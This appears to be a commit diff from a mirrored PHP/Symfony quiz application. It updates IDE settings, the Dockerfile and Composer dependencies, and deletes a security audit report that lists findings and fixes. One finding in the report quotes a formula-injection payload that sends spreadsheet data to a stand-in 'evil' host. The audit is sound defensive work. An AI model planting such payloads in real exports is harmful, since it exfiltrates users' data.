mirror of
https://github.com/MarijnDoeve/TijdVoorDeTest.git
synced 2026-07-13 13:25:19 +02:00
Compare commits
1 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 97cec66083 |
Generated
+10
-1
@@ -4,7 +4,6 @@
|
|||||||
<content url="file://$MODULE_DIR$">
|
<content url="file://$MODULE_DIR$">
|
||||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" packagePrefix="Tvdt\" />
|
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" packagePrefix="Tvdt\" />
|
||||||
<sourceFolder url="file://$MODULE_DIR$/tests" isTestSource="true" packagePrefix="Tvdt\Tests\" />
|
<sourceFolder url="file://$MODULE_DIR$/tests" isTestSource="true" packagePrefix="Tvdt\Tests\" />
|
||||||
<sourceFolder url="file://$MODULE_DIR$/vendor/maennchen/zipstream-php/test" isTestSource="true" />
|
|
||||||
<excludeFolder url="file://$MODULE_DIR$/vendor/clue/ndjson-react" />
|
<excludeFolder url="file://$MODULE_DIR$/vendor/clue/ndjson-react" />
|
||||||
<excludeFolder url="file://$MODULE_DIR$/vendor/composer" />
|
<excludeFolder url="file://$MODULE_DIR$/vendor/composer" />
|
||||||
<excludeFolder url="file://$MODULE_DIR$/vendor/doctrine/collections" />
|
<excludeFolder url="file://$MODULE_DIR$/vendor/doctrine/collections" />
|
||||||
@@ -172,6 +171,16 @@
|
|||||||
<excludeFolder url="file://$MODULE_DIR$/vendor/sebastian/file-filter" />
|
<excludeFolder url="file://$MODULE_DIR$/vendor/sebastian/file-filter" />
|
||||||
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/object-mapper" />
|
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/object-mapper" />
|
||||||
<excludeFolder url="file://$MODULE_DIR$/vendor/symfonycasts/reset-password-bundle" />
|
<excludeFolder url="file://$MODULE_DIR$/vendor/symfonycasts/reset-password-bundle" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/vendor/dflydev/dot-access-data" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/vendor/league/commonmark" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/vendor/league/config" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/vendor/lorenzo/pinky" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/vendor/nette/schema" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/vendor/nette/utils" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/vendor/tijsverkoyen/css-to-inline-styles" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/vendor/twig/cssinliner-extra" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/vendor/twig/inky-extra" />
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/vendor/twig/markdown-extra" />
|
||||||
</content>
|
</content>
|
||||||
<orderEntry type="inheritedJdk" />
|
<orderEntry type="inheritedJdk" />
|
||||||
<orderEntry type="sourceFolder" forTests="false" />
|
<orderEntry type="sourceFolder" forTests="false" />
|
||||||
|
|||||||
Generated
+11
@@ -206,6 +206,16 @@
|
|||||||
<path value="$PROJECT_DIR$/vendor/martin-georgiev/postgresql-for-doctrine" />
|
<path value="$PROJECT_DIR$/vendor/martin-georgiev/postgresql-for-doctrine" />
|
||||||
<path value="$PROJECT_DIR$/vendor/symfony/object-mapper" />
|
<path value="$PROJECT_DIR$/vendor/symfony/object-mapper" />
|
||||||
<path value="$PROJECT_DIR$/vendor/symfonycasts/reset-password-bundle" />
|
<path value="$PROJECT_DIR$/vendor/symfonycasts/reset-password-bundle" />
|
||||||
|
<path value="$PROJECT_DIR$/vendor/lorenzo/pinky" />
|
||||||
|
<path value="$PROJECT_DIR$/vendor/tijsverkoyen/css-to-inline-styles" />
|
||||||
|
<path value="$PROJECT_DIR$/vendor/twig/inky-extra" />
|
||||||
|
<path value="$PROJECT_DIR$/vendor/twig/markdown-extra" />
|
||||||
|
<path value="$PROJECT_DIR$/vendor/twig/cssinliner-extra" />
|
||||||
|
<path value="$PROJECT_DIR$/vendor/league/commonmark" />
|
||||||
|
<path value="$PROJECT_DIR$/vendor/league/config" />
|
||||||
|
<path value="$PROJECT_DIR$/vendor/nette/utils" />
|
||||||
|
<path value="$PROJECT_DIR$/vendor/nette/schema" />
|
||||||
|
<path value="$PROJECT_DIR$/vendor/dflydev/dot-access-data" />
|
||||||
</include_path>
|
</include_path>
|
||||||
</component>
|
</component>
|
||||||
<component name="PhpInterpreters">
|
<component name="PhpInterpreters">
|
||||||
@@ -403,6 +413,7 @@
|
|||||||
<component name="PhpUnit">
|
<component name="PhpUnit">
|
||||||
<phpunit_settings>
|
<phpunit_settings>
|
||||||
<phpunit_by_interpreter interpreter_id="96512cb2-7b9e-4e1d-bfa2-bf7f3be424c8" bootstrap_file_path="./tests/bootstrap.php" configuration_file_path="./phpunit.dist.xml" custom_loader_path="/app/vendor/autoload.php" phpunit_phar_path="" use_bootstrap_file="true" use_configuration_file="true" />
|
<phpunit_by_interpreter interpreter_id="96512cb2-7b9e-4e1d-bfa2-bf7f3be424c8" bootstrap_file_path="./tests/bootstrap.php" configuration_file_path="./phpunit.dist.xml" custom_loader_path="/app/vendor/autoload.php" phpunit_phar_path="" use_bootstrap_file="true" use_configuration_file="true" />
|
||||||
|
<PhpUnitSettings custom_loader_path="$PROJECT_DIR$/vendor/autoload.php" />
|
||||||
</phpunit_settings>
|
</phpunit_settings>
|
||||||
</component>
|
</component>
|
||||||
<component name="Psalm">
|
<component name="Psalm">
|
||||||
|
|||||||
@@ -32,6 +32,7 @@ RUN set -eux; \
|
|||||||
opcache \
|
opcache \
|
||||||
zip \
|
zip \
|
||||||
gd \
|
gd \
|
||||||
|
xsl \
|
||||||
;
|
;
|
||||||
|
|
||||||
# https://getcomposer.org/doc/03-cli.md#composer-allow-superuser
|
# https://getcomposer.org/doc/03-cli.md#composer-allow-superuser
|
||||||
|
|||||||
@@ -1,104 +0,0 @@
|
|||||||
# Security Audit — Tijd voor de test
|
|
||||||
|
|
||||||
**Date:** 2026-07-12
|
|
||||||
**Branch:** `declare-ext-intl-ext-zip`
|
|
||||||
**Scope:** Full codebase — authentication/authorization, injection & output encoding, config/secrets/infrastructure, quiz business-logic abuse, and dependency audits. Read-only scan; no files were modified.
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
| # | Severity | Finding | Location |
|
|
||||||
|---|----------|---------|----------|
|
|
||||||
| 1 | High | ~~`PrepareEliminationController` has no authorization guard~~ **Fixed 2026-07-13** | `src/Controller/Backoffice/PrepareEliminationController.php:21-65` |
|
|
||||||
| 2 | High | Production PostgreSQL published to host + default-password fallback | `compose.prod.yaml:27-28`, `compose.yaml:11,30` |
|
|
||||||
| 3 | Medium | ~~Spreadsheet formula injection in exports~~ **Fixed 2026-07-13** | `src/Service/QuizSpreadsheetService.php`, `src/Service/DataExportService.php` |
|
|
||||||
| 4 | Medium | ~~No login throttling / brute-force protection~~ **Fixed 2026-07-13** | `config/packages/security.yaml:17-29` |
|
|
||||||
| 5 | Medium | Open self-registration grants immediate backoffice access | `src/Controller/RegistrationController.php:40-56` |
|
|
||||||
| 6 | Low | Double-submit race can inflate score | `src/Controller/QuizController.php:120-128` |
|
|
||||||
| 7 | Low | Answer-POST path never checks `isFinalized`/`isLocked` | `src/Controller/QuizController.php:102-131` |
|
|
||||||
| 8 | Low | Server-side formula evaluation of uploaded XLSX | `src/Service/QuizSpreadsheetService.php:68` |
|
|
||||||
| 9 | Low | Containers run as root | `Dockerfile` |
|
|
||||||
| 10 | Low | No security response headers in prod | `frankenphp/Caddyfile:45` |
|
|
||||||
| 11 | Low | Committed `APP_SECRET` (dev-only) | `.env.dev:3` |
|
|
||||||
| 12 | Low | `zend.exception_ignore_args = Off` in prod | `frankenphp/conf.d/10-app.ini:15` |
|
|
||||||
|
|
||||||
**Dependencies are clean:** `composer audit` and `bin/console importmap:audit` both report zero known-CVE advisories.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## High
|
|
||||||
|
|
||||||
### 1. `PrepareEliminationController` has no authorization guard — FIXED
|
|
||||||
|
|
||||||
**File:** `src/Controller/Backoffice/PrepareEliminationController.php:21-65`
|
|
||||||
|
|
||||||
The class carried no `#[IsGranted]` at class or method level — unlike every sibling controller, and unlike `EliminationController` which guards with `SeasonVoter::ELIMINATION`. Both routes were gated only by the blanket `^/backoffice → IS_AUTHENTICATED` rule.
|
|
||||||
|
|
||||||
- `viewElimination` (line 46) both reads and, on POST, rewrites any elimination via `updateFromInputBag()` + `flush()`.
|
|
||||||
- `index` (line 32) never checked that `$quiz` belonged to `$season`.
|
|
||||||
|
|
||||||
**Failure scenario:** Any authenticated user who obtained or guessed another season's quiz/elimination UUID could rewrite that season's red/green elimination screens.
|
|
||||||
|
|
||||||
**Fix applied:** Added `#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]` to `index` and `#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]` to `viewElimination`, matching the pattern used everywhere else. Regression tests `testIndexIsDeniedForNonOwner` and `testViewEliminationIsDeniedForNonOwner` were added to `tests/Controller/Backoffice/PrepareEliminationControllerTest.php` (written first, confirmed failing against the old code, now passing). Full suite (290 tests), PHPStan, Rector, and CS-Fixer all pass.
|
|
||||||
|
|
||||||
### 2. Production PostgreSQL published to host with default-password fallback
|
|
||||||
|
|
||||||
**Files:** `compose.prod.yaml:27-28`, `compose.yaml:11,30`
|
|
||||||
|
|
||||||
- `compose.prod.yaml:27-28` publishes `5430:5432` in the *production* override; the DB should stay on the `internal` network only.
|
|
||||||
- `compose.yaml:11,30` default `POSTGRES_PASSWORD` to `!ChangeMe!`, and `compose.prod.yaml` never sets it — so if the Portainer stack env omits it, prod silently runs with a publicly-known password.
|
|
||||||
|
|
||||||
**Failure scenario:** Internet-reachable database with a known default credential → full read/write of user hashes, quiz data, reset-password tokens.
|
|
||||||
|
|
||||||
**Fix:** Drop the port publish from the prod override; make `POSTGRES_PASSWORD` mandatory with no fallback in prod.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Medium
|
|
||||||
|
|
||||||
### 3. Spreadsheet formula injection in exports — FIXED
|
|
||||||
|
|
||||||
**Files:** `src/Service/QuizSpreadsheetService.php:132,136`; `src/Service/DataExportService.php:208,237,249-265,328,393-403`
|
|
||||||
|
|
||||||
All user-controlled strings were written to XLSX via `setCellValue()`/`fromArray()` with no quote-prefixing or value-binder override. PhpSpreadsheet stores any string starting with `=` as a live formula.
|
|
||||||
|
|
||||||
**Failure scenario:** Seasons support multiple owners, so a co-owner could name an answer/candidate `=WEBSERVICE("http://evil/?"&A1)`; when another owner opened the quiz export or GDPR zip in Excel, the formula would execute/exfiltrate.
|
|
||||||
|
|
||||||
**Fix applied:** Added `src/Helpers/FormulaInjectionSafeValueBinder.php`, a `DefaultValueBinder` override that forces any string starting with `= + - @` (or a leading tab/CR) to be stored as a plain string data type instead of being auto-detected as a formula. Wired it in via `Cell::setValueBinder()` in the constructors of `QuizSpreadsheetService` and `DataExportService`, so it's active before any cell is written. Regression tests added: `tests/Helpers/FormulaInjectionSafeValueBinderTest.php` (unit-level), plus `testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString` and `testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString` (written first, confirmed failing against the old code, now passing).
|
|
||||||
|
|
||||||
### 4. No login throttling / brute-force protection — FIXED
|
|
||||||
|
|
||||||
**File:** `config/packages/security.yaml:17-29`
|
|
||||||
|
|
||||||
`form_login` had no `login_throttling` and no rate limiter was configured anywhere. `/login` allowed unlimited password guessing; the public `POST /` season-code entry (`QuizController.php:35`) was likewise an unthrottled oracle for enumerating the ~3.2M-space season codes (5 chars, 20-consonant alphabet).
|
|
||||||
|
|
||||||
**Fix applied:**
|
|
||||||
- Added `symfony/rate-limiter` as a composer dependency and enabled `login_throttling` (`max_attempts: 5`) on the `main` firewall in `config/packages/security.yaml`, using Symfony's built-in per-user/global rate limiter.
|
|
||||||
- Added a dedicated `season_code` rate limiter (`framework.rate_limiter`, sliding window, 20 attempts/minute per IP) in `config/packages/framework.yaml`, enforced in `QuizController::selectSeason` — a `TooManyRequestsHttpException` (429) is thrown once the client IP exceeds the limit, before the season-code form is even validated.
|
|
||||||
- Both limiters have lower `when@test` overrides so tests run fast and deterministically.
|
|
||||||
- Regression tests added: `testLoginIsThrottledAfterTooManyFailedAttempts` (`tests/Controller/LoginControllerTest.php`) and `testSelectSeasonIsThrottledAfterTooManyAttempts` (`tests/Controller/QuizControllerTest.php`), both written first, confirmed failing against the old config, now passing.
|
|
||||||
|
|
||||||
### 5. Open self-registration grants immediate backoffice access
|
|
||||||
|
|
||||||
**Files:** `src/Controller/RegistrationController.php:40-56`, `config/packages/security.yaml:31`
|
|
||||||
|
|
||||||
Registration auto-logs-in a new user *before* email verification, and `^/backoffice` requires only `IS_AUTHENTICATED`. Any anonymous visitor gets an authenticated foothold to probe every backoffice route — the precondition that makes finding 1 practically exploitable.
|
|
||||||
|
|
||||||
**Fix / decision needed:** Confirm whether open registration into the backoffice is intended. If so, gate sensitive areas behind verified email and add a CAPTCHA/rate limit to registration.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Low
|
|
||||||
|
|
||||||
- **6. Double-submit race can inflate score** (`src/Controller/QuizController.php:120-128`): no unique constraint on `GivenAnswer` and a TOCTOU between the "is this the next question" check and the insert. Concurrent POSTs of the known-correct answer each insert a row, each counted correct. Add a unique index on (quizCandidate, question).
|
|
||||||
- **7. Answer-POST path never checks `isFinalized`/`isLocked`** (`src/Controller/QuizController.php:102-131`): a finalized quiz still set as `activeQuiz` stays answerable. The POST path also doesn't assert a `QuizCandidate` exists (only GET does) — currently not exploitable but worth hardening.
|
|
||||||
- **8. Server-side formula evaluation of uploaded XLSX** (`src/Service/QuizSpreadsheetService.php:68`): `toArray()` leaves `calculateFormulas` at default `true`, allowing CPU-burn via nested formulas on import. Pass `calculateFormulas: false`.
|
|
||||||
- **9. Containers run as root** (`Dockerfile`, no `USER` directive): any PHP RCE is immediately root in-container.
|
|
||||||
- **10. No security response headers in prod** (`frankenphp/Caddyfile:45`): no CSP/`frame-ancestors`, `X-Content-Type-Options`, or HSTS — backoffice is clickjackable.
|
|
||||||
- **11. Committed `APP_SECRET`** (`.env.dev:3`, dev-only): prod uses `composer dump-env prod` with an env-provided secret, so scope is limited to any environment misconfigured to `APP_ENV=dev`. Consider rotating regardless since the value is now public.
|
|
||||||
- **12. `zend.exception_ignore_args = Off`** (`frankenphp/conf.d/10-app.ini:15`, prod): a stack trace in a password-handling path could ship plaintext to Sentry.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Confirmed clean
|
|
||||||
|
|
||||||
No SQL/DQL injection (all queries parameterized), essentially no XSS surface (one `|raw` on an app-generated signed URL; GitHub release markdown is escaped), no `unserialize`/`eval`/shell-exec anywhere, safe redirects (open-redirect listener validates the logout `target`), no correct-answer or score leakage to candidates, server-set timing (no client-forgeable timestamps), zip creation with sanitized filenames (no zip-slip/path traversal), and a clean CI workflow (least-privilege permissions, SHA-pinned actions, no `pull_request_target`).
|
|
||||||
+2
-3
@@ -9,8 +9,6 @@
|
|||||||
"php": ">=8.5",
|
"php": ">=8.5",
|
||||||
"ext-ctype": "*",
|
"ext-ctype": "*",
|
||||||
"ext-iconv": "*",
|
"ext-iconv": "*",
|
||||||
"ext-intl": "*",
|
|
||||||
"ext-zip": "*",
|
|
||||||
"doctrine/dbal": "^4.4.3",
|
"doctrine/dbal": "^4.4.3",
|
||||||
"doctrine/doctrine-bundle": "^3.2.2",
|
"doctrine/doctrine-bundle": "^3.2.2",
|
||||||
"doctrine/doctrine-migrations-bundle": "^4.0",
|
"doctrine/doctrine-migrations-bundle": "^4.0",
|
||||||
@@ -36,7 +34,6 @@
|
|||||||
"symfony/object-mapper": "8.1.*",
|
"symfony/object-mapper": "8.1.*",
|
||||||
"symfony/property-access": "8.1.*",
|
"symfony/property-access": "8.1.*",
|
||||||
"symfony/property-info": "8.1.*",
|
"symfony/property-info": "8.1.*",
|
||||||
"symfony/rate-limiter": "8.1.*",
|
|
||||||
"symfony/runtime": "8.1.*",
|
"symfony/runtime": "8.1.*",
|
||||||
"symfony/security-bundle": "8.1.*",
|
"symfony/security-bundle": "8.1.*",
|
||||||
"symfony/security-csrf": "8.1.*",
|
"symfony/security-csrf": "8.1.*",
|
||||||
@@ -52,7 +49,9 @@
|
|||||||
"symfonycasts/sass-bundle": "^0.10",
|
"symfonycasts/sass-bundle": "^0.10",
|
||||||
"symfonycasts/verify-email-bundle": "^1.18.0",
|
"symfonycasts/verify-email-bundle": "^1.18.0",
|
||||||
"thecodingmachine/safe": "^3.4.0",
|
"thecodingmachine/safe": "^3.4.0",
|
||||||
|
"twig/cssinliner-extra": "^3.26.0",
|
||||||
"twig/extra-bundle": "^3.24.0",
|
"twig/extra-bundle": "^3.24.0",
|
||||||
|
"twig/inky-extra": "^3.26.0",
|
||||||
"twig/intl-extra": "^3.24.0",
|
"twig/intl-extra": "^3.24.0",
|
||||||
"twig/markdown-extra": "^3.24.0",
|
"twig/markdown-extra": "^3.24.0",
|
||||||
"twig/twig": "^3.27.1"
|
"twig/twig": "^3.27.1"
|
||||||
|
|||||||
Generated
+318
-147
@@ -4,7 +4,7 @@
|
|||||||
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
|
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
|
||||||
"This file is @generated automatically"
|
"This file is @generated automatically"
|
||||||
],
|
],
|
||||||
"content-hash": "8be25e3d256bbcc2d3c36cecac47feed",
|
"content-hash": "0bb88a3f492fa607203eb66735827179",
|
||||||
"packages": [
|
"packages": [
|
||||||
{
|
{
|
||||||
"name": "composer/pcre",
|
"name": "composer/pcre",
|
||||||
@@ -1916,6 +1916,59 @@
|
|||||||
],
|
],
|
||||||
"time": "2022-12-11T20:36:23+00:00"
|
"time": "2022-12-11T20:36:23+00:00"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "lorenzo/pinky",
|
||||||
|
"version": "1.1.0",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/lorenzo/pinky.git",
|
||||||
|
"reference": "e1b1bdb2c132b8a7ba32bca64d2443f646ddbd17"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/lorenzo/pinky/zipball/e1b1bdb2c132b8a7ba32bca64d2443f646ddbd17",
|
||||||
|
"reference": "e1b1bdb2c132b8a7ba32bca64d2443f646ddbd17",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"ext-dom": "*",
|
||||||
|
"ext-libxml": "*",
|
||||||
|
"ext-xsl": "*",
|
||||||
|
"php": ">=5.6.0"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"phpunit/phpunit": "^5.7.27 || ^6.5.14 || ^7.5.20 || ^8.5.21 || ^9.5.10"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"autoload": {
|
||||||
|
"files": [
|
||||||
|
"src/pinky.php"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"MIT"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "Jose Lorenzo Rodriguez",
|
||||||
|
"email": "jose.zap@gmail.com"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "A Foundation for Emails (Inky) template transpiler",
|
||||||
|
"keywords": [
|
||||||
|
"email",
|
||||||
|
"foundation",
|
||||||
|
"inky",
|
||||||
|
"template",
|
||||||
|
"zurb"
|
||||||
|
],
|
||||||
|
"support": {
|
||||||
|
"issues": "https://github.com/lorenzo/pinky/issues",
|
||||||
|
"source": "https://github.com/lorenzo/pinky/tree/1.1.0"
|
||||||
|
},
|
||||||
|
"time": "2023-07-31T13:36:50+00:00"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "maennchen/zipstream-php",
|
"name": "maennchen/zipstream-php",
|
||||||
"version": "3.2.2",
|
"version": "3.2.2",
|
||||||
@@ -4162,6 +4215,75 @@
|
|||||||
],
|
],
|
||||||
"time": "2026-06-16T12:55:20+00:00"
|
"time": "2026-06-16T12:55:20+00:00"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "symfony/css-selector",
|
||||||
|
"version": "v8.1.0",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/symfony/css-selector.git",
|
||||||
|
"reference": "dc0e2be45c9b5588c82414f02ac574b4b986abcd"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/symfony/css-selector/zipball/dc0e2be45c9b5588c82414f02ac574b4b986abcd",
|
||||||
|
"reference": "dc0e2be45c9b5588c82414f02ac574b4b986abcd",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"php": ">=8.4.1"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"autoload": {
|
||||||
|
"psr-4": {
|
||||||
|
"Symfony\\Component\\CssSelector\\": ""
|
||||||
|
},
|
||||||
|
"exclude-from-classmap": [
|
||||||
|
"/Tests/"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"MIT"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "Fabien Potencier",
|
||||||
|
"email": "fabien@symfony.com"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Jean-François Simon",
|
||||||
|
"email": "jeanfrancois.simon@sensiolabs.com"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Symfony Community",
|
||||||
|
"homepage": "https://symfony.com/contributors"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "Converts CSS selectors to XPath expressions",
|
||||||
|
"homepage": "https://symfony.com",
|
||||||
|
"support": {
|
||||||
|
"source": "https://github.com/symfony/css-selector/tree/v8.1.0"
|
||||||
|
},
|
||||||
|
"funding": [
|
||||||
|
{
|
||||||
|
"url": "https://symfony.com/sponsor",
|
||||||
|
"type": "custom"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://github.com/fabpot",
|
||||||
|
"type": "github"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://github.com/nicolas-grekas",
|
||||||
|
"type": "github"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
|
||||||
|
"type": "tidelift"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"time": "2026-05-29T05:06:50+00:00"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "symfony/dependency-injection",
|
"name": "symfony/dependency-injection",
|
||||||
"version": "v8.1.1",
|
"version": "v8.1.1",
|
||||||
@@ -6863,80 +6985,6 @@
|
|||||||
],
|
],
|
||||||
"time": "2026-05-29T05:06:50+00:00"
|
"time": "2026-05-29T05:06:50+00:00"
|
||||||
},
|
},
|
||||||
{
|
|
||||||
"name": "symfony/rate-limiter",
|
|
||||||
"version": "v8.1.1",
|
|
||||||
"source": {
|
|
||||||
"type": "git",
|
|
||||||
"url": "https://github.com/symfony/rate-limiter.git",
|
|
||||||
"reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6"
|
|
||||||
},
|
|
||||||
"dist": {
|
|
||||||
"type": "zip",
|
|
||||||
"url": "https://api.github.com/repos/symfony/rate-limiter/zipball/dd8f48286c000b8511b9413105f4118c8c2a4bd6",
|
|
||||||
"reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6",
|
|
||||||
"shasum": ""
|
|
||||||
},
|
|
||||||
"require": {
|
|
||||||
"php": ">=8.4.1",
|
|
||||||
"symfony/options-resolver": "^7.4|^8.0"
|
|
||||||
},
|
|
||||||
"require-dev": {
|
|
||||||
"psr/cache": "^1.0|^2.0|^3.0",
|
|
||||||
"symfony/lock": "^7.4|^8.0"
|
|
||||||
},
|
|
||||||
"type": "library",
|
|
||||||
"autoload": {
|
|
||||||
"psr-4": {
|
|
||||||
"Symfony\\Component\\RateLimiter\\": ""
|
|
||||||
},
|
|
||||||
"exclude-from-classmap": [
|
|
||||||
"/Tests/"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"notification-url": "https://packagist.org/downloads/",
|
|
||||||
"license": [
|
|
||||||
"MIT"
|
|
||||||
],
|
|
||||||
"authors": [
|
|
||||||
{
|
|
||||||
"name": "Wouter de Jong",
|
|
||||||
"email": "wouter@wouterj.nl"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "Symfony Community",
|
|
||||||
"homepage": "https://symfony.com/contributors"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"description": "Provides a Token Bucket implementation to rate limit input and output in your application",
|
|
||||||
"homepage": "https://symfony.com",
|
|
||||||
"keywords": [
|
|
||||||
"limiter",
|
|
||||||
"rate-limiter"
|
|
||||||
],
|
|
||||||
"support": {
|
|
||||||
"source": "https://github.com/symfony/rate-limiter/tree/v8.1.1"
|
|
||||||
},
|
|
||||||
"funding": [
|
|
||||||
{
|
|
||||||
"url": "https://symfony.com/sponsor",
|
|
||||||
"type": "custom"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"url": "https://github.com/fabpot",
|
|
||||||
"type": "github"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"url": "https://github.com/nicolas-grekas",
|
|
||||||
"type": "github"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
|
|
||||||
"type": "tidelift"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"time": "2026-06-09T11:06:24+00:00"
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"name": "symfony/routing",
|
"name": "symfony/routing",
|
||||||
"version": "v8.1.0",
|
"version": "v8.1.0",
|
||||||
@@ -9125,6 +9173,130 @@
|
|||||||
],
|
],
|
||||||
"time": "2026-02-04T18:08:13+00:00"
|
"time": "2026-02-04T18:08:13+00:00"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "tijsverkoyen/css-to-inline-styles",
|
||||||
|
"version": "v2.4.0",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/tijsverkoyen/CssToInlineStyles.git",
|
||||||
|
"reference": "f0292ccf0ec75843d65027214426b6b163b48b41"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/tijsverkoyen/CssToInlineStyles/zipball/f0292ccf0ec75843d65027214426b6b163b48b41",
|
||||||
|
"reference": "f0292ccf0ec75843d65027214426b6b163b48b41",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"ext-dom": "*",
|
||||||
|
"ext-libxml": "*",
|
||||||
|
"php": "^7.4 || ^8.0",
|
||||||
|
"symfony/css-selector": "^5.4 || ^6.0 || ^7.0 || ^8.0"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"phpstan/phpstan": "^2.0",
|
||||||
|
"phpstan/phpstan-phpunit": "^2.0",
|
||||||
|
"phpunit/phpunit": "^8.5.21 || ^9.5.10"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"extra": {
|
||||||
|
"branch-alias": {
|
||||||
|
"dev-master": "2.x-dev"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"autoload": {
|
||||||
|
"psr-4": {
|
||||||
|
"TijsVerkoyen\\CssToInlineStyles\\": "src"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"BSD-3-Clause"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "Tijs Verkoyen",
|
||||||
|
"email": "css_to_inline_styles@verkoyen.eu",
|
||||||
|
"role": "Developer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "CssToInlineStyles is a class that enables you to convert HTML-pages/files into HTML-pages/files with inline styles. This is very useful when you're sending emails.",
|
||||||
|
"homepage": "https://github.com/tijsverkoyen/CssToInlineStyles",
|
||||||
|
"support": {
|
||||||
|
"issues": "https://github.com/tijsverkoyen/CssToInlineStyles/issues",
|
||||||
|
"source": "https://github.com/tijsverkoyen/CssToInlineStyles/tree/v2.4.0"
|
||||||
|
},
|
||||||
|
"time": "2025-12-02T11:56:42+00:00"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "twig/cssinliner-extra",
|
||||||
|
"version": "v3.26.0",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/twigphp/cssinliner-extra.git",
|
||||||
|
"reference": "1b0dc906bbad7226c967bd325e99cccb1a850c4b"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/twigphp/cssinliner-extra/zipball/1b0dc906bbad7226c967bd325e99cccb1a850c4b",
|
||||||
|
"reference": "1b0dc906bbad7226c967bd325e99cccb1a850c4b",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"php": ">=8.1.0",
|
||||||
|
"symfony/deprecation-contracts": "^2.5|^3",
|
||||||
|
"tijsverkoyen/css-to-inline-styles": "^2.0",
|
